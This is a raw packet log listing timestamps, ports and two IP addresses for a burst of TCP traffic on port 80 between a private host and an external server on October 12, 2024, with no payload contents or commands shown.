Oct 12, 2024 13:17:30.242088079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242117882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242127895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242127895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242171049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242182970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242213964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242227077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242280006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242316008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242322922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242322922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242348909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242383957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242391109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242391109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242413044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242432117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242470026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242475033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242516994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242525101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242558956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242594004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242600918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242600918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242645025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242650032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242703915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242711067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242748976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242757082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242810011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242852926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242852926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242861032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242896080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242937088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242937088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.242947102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.242983103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243016005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243016958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243016958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243060112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243071079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243107080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243134022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243140936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243151903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243191957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243196964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243227959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243235111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243263006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243278027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243297100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243302107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243331909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243366957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243375063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243375063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243415117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243431091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243465900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243499994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243504047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243504047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243535042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243568897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243576050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243576050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243602991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243633986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243637085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243639946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243673086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243705988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243716002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243716002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243745089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243748903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243778944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243814945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243819952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243819952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243849039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243882895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243887901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243887901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243916988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243942022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243952036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.243966103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.243987083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244018078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244021893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244055033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244082928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244082928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244090080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244123936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244132042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244159937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244193077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244203091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244218111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244225979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244260073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244275093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244292021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244328976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244333982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244333982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244363070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244396925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244405031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244405031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244430065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244446993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244465113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244498968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244503021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244513035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244533062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244566917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244573116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244573116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244602919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244640112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.244645119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244645119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.244704008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306332111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306384087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306418896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306451082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306466103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306487083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306520939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306530952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306530952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306585073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306619883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306628942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306628942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306657076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306689978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306703091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306720972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306775093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306797981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306807995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306818962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306853056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306860924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306921005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306955099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.306963921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306963921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.306988001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307009935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307045937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307089090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307089090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307099104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307136059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307169914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307177067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307177067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307203054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307238102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307245016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307245016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307266951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307300091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307303905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307303905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307334900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307368040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307378054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307378054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307426929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307430029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307462931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307492018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307497025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307517052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307528973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307538986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307564974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307574987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307598114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307631969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307638884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307638884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307670116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307704926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307712078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307712078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307739019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307746887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307774067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307809114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.307816029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307816029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.307874918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.335870981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.335939884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.335975885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336009026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336045027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336045980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336045980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336081028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336086035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336086035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336134911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336177111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336177111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336188078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336231947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336241961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336280107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336311102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336344957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336379051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336386919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336386919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336412907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336447954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336447954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336463928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336498022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336508989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336529016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336565018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336571932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336571932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336620092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336652994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336662054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336662054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336695910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336708069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336761951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336801052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336803913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336803913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336832047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336863041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336874962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336880922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336915970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336949110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.336956978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336956978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.336993933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337001085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337053061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337059975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337104082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337137938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337148905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337148905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337188959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337191105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337222099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337261915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337261915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337271929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337305069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337311983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337357998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337358952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337412119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337452888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337452888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337462902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337512016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337512970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337546110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337579966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337587118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337587118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337614059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337622881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337649107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337683916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337691069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337691069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337718010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337750912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337759972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337759972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337785959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337793112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337824106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337857962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337867022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337867022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337893009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337927103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337934017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337934017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.337960958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.337996006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338002920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338002920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338028908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338063002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338069916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338069916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338095903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338130951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338139057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338139057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338166952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338201046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338207006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338207006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338233948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338268995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338274956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338274956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338303089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338336945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338345051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338345051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338370085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338386059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338403940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338438034 CEST	80	49730	185.215.113.37	192.168.2.4
